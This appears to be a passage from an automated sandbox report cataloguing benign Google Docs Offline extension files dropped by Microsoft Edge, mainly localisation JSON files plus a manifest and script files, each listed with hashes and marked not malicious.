SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7804_1680903502\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
